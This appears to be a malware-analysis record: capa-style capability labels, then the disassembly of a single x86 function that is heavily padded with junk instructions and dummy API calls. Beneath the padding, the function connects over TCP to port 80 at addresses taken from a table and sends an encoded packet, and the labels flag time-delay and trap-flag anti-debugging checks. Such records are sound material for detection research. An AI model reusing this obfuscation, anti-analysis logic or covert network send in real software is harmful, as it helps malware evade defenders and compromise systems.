Function at 0x4127e5
Capabilities:
Accept command line arguments
Act as tcp client
Check for time delay via gettickcount
Check for trap flag exception
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
pushal
pushfd
push esi
rol esi, 0x10
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
fnclex
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
mov esi, dword [ebp + 8]
pushfd
push edx
bts edx, 0xa
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pushfd
push ebx
setl bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
lodsd eax, dword [esi]
mov edi, esi
mov ecx, eax
lodsb al, byte [esi]
cmp al, 0
jne 0x412831
mov al, 0xa
stosb byte es:[edi], al
pushfd
push edx
sar edx, 0x11
pop edx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pcmpeqb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
dec ecx
jne 0x41282a
pushfd
push eax
rol eax, 0xe
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push esi
push esi
pushfd
cmovb esi, esi
popfd
pop esi
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
mov esi, dword [ebp + 8]
lodsd eax, dword [esi]
mov dword [ebp - 8], eax
pushfd
push esi
rol esi, 0x13
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
fxam
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
mov ebx, eax
add eax, 0x100
pushfd
push esi
rol esi, 9
pop esi
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push esi
push ebx
pushfd
cmovge esi, ebx
popfd
pop ebx
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
mov dword [0x4219d7], eax
pushfd
push edx
rcl edx, 4
pop edx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push esi
call fcn.004133c0
pop esi
jmp 0x4128e8
push 4
push 0x1000
push eax
push 0
call sub.KERNEL32.DLL_VirtualAlloc
pushfd
push eax
btc eax, 0xd
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
pcmpgtb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
mov edi, eax
pushfd
push edx
btc edx, 0x1c
pop edx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push ecx
push edx
pushfd
cmovne ecx, edx
popfd
pop edx
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
mov eax, ebx
add eax, 0x100
push 4
push 0x1000
push eax
push 0
call sub.KERNEL32.DLL_VirtualAlloc
pushfd
push esi
sar esi, 0x1e
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push ebx
push esi
pushfd
cmovg ebx, esi
popfd
pop esi
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
mov dword [ebp - 0x20], eax
mov dword [0x4219db], edi
pushfd
push edx
bt edx, 0xe
pop edx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
fprem
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push 9
push ebx
push esi
push 0x4219d7
push edi
call fcn.00417a75
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 0xc], eax
pushfd
push edx
shl edx, 0x1a
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push eax
push edx
pushfd
test edx, eax
popfd
pop edx
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
lea edi, [ebp - 0x1c]
pushal
mov ecx, 0x10
pushfd
push edx
bt edx, 1
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
push ebx
setge bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
xor eax, eax
pushfd
push eax
rol eax, 0x1b
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
psraw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
rep stosb byte es:[edi], al
pushfd
push ebx
bts ebx, 0x1a
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
paddsw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
popal
pushfd
push esi
btr esi, 1
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
faddp st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
lea edi, [ebp - 0x1c]
cmp dword [0x421613], 0
jne 0x412a6d
push dword [0x421279]
pop eax
push 0x50
pop ecx
xchg ch, cl
mov word [edi], 2
mov word [edi + 2], cx
mov dword [edi + 4], eax
jmp 0x412b26
pushfd
push ebx
ror ebx, 0x15
pop ebx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
punpckhwd mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
mov eax, dword [0x421617]
imul eax, eax, 6
pushfd
push ecx
ror ecx, 0xa
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push ecx
push edx
pushfd
add ecx, edx
popfd
pop edx
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
mov esi, dword [0x420368]
lea esi, [eax + esi]
pushfd
push eax
sar eax, 0x18
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
fsubp st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
mov eax, dword [esi]
pushfd
push ecx
ror ecx, 0x1b
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
psrld mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
movzx ecx, word [esi + 4]
pushfd
push eax
rol eax, 0x1e
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push esi
push eax
pushfd
xadd esi, eax
popfd
pop eax
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
bswap eax
xchg ch, cl
mov word [edi], 2
mov word [edi + 2], cx
mov dword [edi + 4], eax
inc dword [0x421617]
push 0x10
push edi
push dword [ebp - 0xc]
call sub.wsock32.dll_connect
xor eax, eax
mov edi, dword [ebp - 0x20]
stosd dword es:[edi], eax
mov ax, 0x100
xchg ah, al
stosw word es:[edi], ax
pushfd
push edx
ror edx, 0x10
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
por mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
mov ax, 0x17
pushfd
push ecx
bts ecx, 0x1b
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
fnclex
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
xchg ah, al
pushfd
push ecx
btr ecx, 1
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ecx
push ecx
pushfd
adc ecx, ecx
popfd
pop ecx
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
stosw word es:[edi], ax
pushfd
push ebx
rol ebx, 0xb
pop ebx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push esi
push esi
pushfd
cmovae esi, esi
popfd
pop esi
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
mov eax, dword [0x42127d]
bswap eax
pushfd
push ecx
bt ecx, 0xf
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pmaxub mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
stosd dword es:[edi], eax
mov eax, dword [0x421281]
bswap eax
stosd dword es:[edi], eax
pushfd
push ecx
shl ecx, 0x14
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pcmpgtd mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
mov eax, dword [ebp - 8]
bswap eax
stosd dword es:[edi], eax
pushfd
push ebx
ror ebx, 5
pop ebx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
mov eax, dword [0x4219d7]
pushfd
push edx
shl edx, 0x19
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
push eax
setge al
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
bswap eax
stosd dword es:[edi], eax
mov esi, dword [0x4219db]
mov ecx, dword [0x4219d7]
rep movsb byte es:[edi], byte [esi]
sub edi, dword [ebp - 0x20]
pushfd
push edx
rcr edx, 0
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
mov ebx, edi
pushfd
push eax
ror eax, 0xc
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pushfd
push ecx
setge cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
add edi, dword [ebp - 0x20]
sub edi, ebx
sub ebx, 4
add ebx, 7
pushfd
push eax
ror eax, 0x11
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
punpckhwd mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
and ebx, 0xfffffff8
pushfd
push eax
ror eax, 5
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
push ebx
seta bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
add edi, 4
pushfd
push ecx
bts ecx, 0x10
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
psrlq mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
mov eax, ebx
pushfd
push esi
shl esi, 0xc
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pushfd
clc
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
shr eax, 3
push eax
push edi
push edi
call fcn.004178db
sub edi, 4
mov eax, ebx
shr eax, 3
cmp eax, 0x7fff
ja 0x412d4f
bswap eax
pushfd
push esi
rol esi, 0x14
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
fcos
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
shr eax, 0x10
pushfd
push edx
btc edx, 0x11
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
wait
fnclex
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
add edi, 2
mov word [edi], ax
add ebx, 2
jmp 0x412d5b
or eax, 0x80000000
bswap eax
mov dword [edi], eax
add ebx, 4
push 0
push ebx
push edi
push dword [ebp - 0xc]
call sub.wsock32.dll_send
pushfd
push esi
rol esi, 0x1d
pop esi
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push esi
call fcn.004133c0
pop esi
jmp 0x412d94
push dword [ebp - 0xc]
call sub.wsock32.dll_closesocket
cmp dword [ebp + 0xc], 0
je 0x4132fd
push 6
push 1
push 2
call sub.wsock32.dll_socket
pushfd
push ecx
bts ecx, 4
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
psubsb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
mov dword [ebp - 0xc], eax
pushfd
push esi
shl esi, 9
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
fsin
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
lea edi, [ebp - 0x1c]
pushal
pushfd
push edx
rcl edx, 7
pop edx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push ebx
push eax
pushfd
cmovp ebx, eax
popfd
pop eax
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
mov ecx, 0x10
xor eax, eax
pushfd
push ebx
ror ebx, 0x18
pop ebx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push esi
call fcn.004133c0
pop esi
jmp 0x412e40
rep stosb byte es:[edi], al
pushfd
push ebx
bt ebx, 0xa
pop ebx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pushfd
std
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
popal
pushfd
push edx
rcl edx, 1
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pcmpeqw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
lea edi, [ebp - 0x1c]
cmp dword [0x421613], 0
jne 0x412ecb
push dword [0x421279]
pushfd
push esi
rcl esi, 0x10
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push esi
call fcn.004133c0
pop esi
jmp 0x412eb4
pop eax
push 0x50
pop ecx
xchg ch, cl
mov word [edi], 2
mov word [edi + 2], cx
mov dword [edi + 4], eax
jmp 0x412f5c
pushfd
push edx
bts edx, 8
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push esi
push ebx
pushfd
cmovae esi, ebx
popfd
pop ebx
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
mov eax, dword [0x421617]
imul eax, eax, 6
pushfd
push esi
shl esi, 4
pop esi
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
psubb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
mov esi, dword [0x420368]
lea esi, [eax + esi]
pushfd
push ecx
btc ecx, 9
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
mov eax, dword [esi]
movzx ecx, word [esi + 4]
bswap eax
xchg ch, cl
mov word [edi], 2
mov word [edi + 2], cx
mov dword [edi + 4], eax
pushfd
push eax
rcl eax, 3
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
wait
fnclex
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
inc dword [0x421617]
push 0x10
push edi
push dword [ebp - 0xc]
call sub.wsock32.dll_connect
pushfd
push esi
shl esi, 0x16
pop esi
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
fpatan
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
xor eax, eax
pushfd
push eax
shl eax, 3
pop eax
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pushfd
push ebx
setl bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
mov edi, dword [ebp - 0x20]
stosd dword es:[edi], eax
pushfd
push esi
shl esi, 0x1a
pop esi
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push esi
push ecx
pushfd
imul esi, ecx
popfd
pop ecx
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
mov ax, 0x100
pushfd
push eax
shl eax, 0x11
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push eax
push ecx
pushfd
cmovle eax, ecx
popfd
pop ecx
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
xchg ah, al
pushfd
push eax
shl eax, 0x1b
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push esi
call fcn.004133c0
pop esi
jmp 0x413015
stosw word es:[edi], ax
pushfd
push esi
rol esi, 0x14
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pcmpgtd mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
mov eax, 0x1a
pushfd
push ecx
rcr ecx, 0x13
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push esi
call fcn.004133c0
pop esi
jmp 0x413063
xchg ah, al
pushfd
push ecx
shl ecx, 0x18
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push esi
call fcn.004133c0
pop esi
jmp 0x413093
stosw word es:[edi], ax
mov eax, dword [0x42127d]
pushfd
push ecx
shl ecx, 0x16
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push esi
push ecx
pushfd
add esi, ecx
popfd
pop ecx
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
bswap eax
stosd dword es:[edi], eax
mov eax, dword [0x421281]
pushfd
push ecx
shl ecx, 1
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
bswap eax
stosd dword es:[edi], eax
pushfd
push edx
shl edx, 2
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pushfd
push eax
setl al
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
sub edi, dword [ebp - 0x20]
pushfd
push edx
bt edx, 0x18
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
psubw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
mov ebx, edi
pushfd
push eax
btr eax, 0
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pandn mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
add edi, dword [ebp - 0x20]
sub edi, ebx
sub ebx, 4
add ebx, 7
and ebx, 0xfffffff8
pushfd
push ecx
btr ecx, 0xb
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
psraw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
add edi, 4
mov eax, ebx
pushfd
push ebx
rol ebx, 0x18
pop ebx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
psrlq mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
shr eax, 3
pushfd
push ecx
shl ecx, 5
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pushfd
cld
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push eax
push edi
push edi
call fcn.004178db
pushfd
push eax
rol eax, 0x1b
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pcmpeqw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
sub edi, 4
pushfd
push esi
sar esi, 0x1d
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
push ecx
neg cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
mov eax, ebx
shr eax, 3
cmp eax, 0x7fff
ja 0x41324e
pushfd
push ecx
shl ecx, 0xe
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push ebx
push ebx
pushfd
cmovge ebx, ebx
popfd
pop ebx
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
bswap eax
shr eax, 0x10
add edi, 2
pushfd
push ecx
bts ecx, 0xa
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push esi
call fcn.004133c0
pop esi
jmp 0x41322d
mov word [edi], ax
pushfd
push edx
sar edx, 0xa
pop edx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
fpatan
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
add ebx, 2
jmp 0x4132bc
or eax, 0x80000000
pushfd
push eax
sar eax, 1
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pminsw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
bswap eax
pushfd
push ecx
btr ecx, 8
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push esi
call fcn.004133c0
pop esi
jmp 0x41329d
mov dword [edi], eax
pushfd
push ecx
rol ecx, 0x1b
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
psadbw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
add ebx, 4
push 0
push ebx
push edi
push dword [ebp - 0xc]
call sub.wsock32.dll_send
pushfd
push esi
ror esi, 0x1b
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push esi
call fcn.004133c0
pop esi
jmp 0x4132f5
push dword [ebp - 0xc]
call sub.wsock32.dll_closesocket
push 0x8000
push 0
push dword [ebp - 0x20]
call sub.KERNEL32.DLL_VirtualFree
push 0x8000
push 0
push dword [ebp - 4]
call sub.KERNEL32.DLL_VirtualFree
pushfd
push edx
shl edx, 0x16
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push esi
call fcn.004133c0
pop esi
jmp 0x413348
push 0x8000
push 0
push dword [0x4219db]
call sub.KERNEL32.DLL_VirtualFree
pushfd
push esi
btc esi, 0x14
pop esi
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pushfd
push ecx
setae cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
mov edi, dword [ebp + 8]
pushfd
push ebx
bt ebx, 5
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
por mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
mov edx, 0xfa000
xor eax, eax
mov ecx, edx
shr ecx, 2
rep stosd dword es:[edi], eax
popal
pushfd
push ecx
sar ecx, 0x13
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pushfd
stc
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
leave
ret 8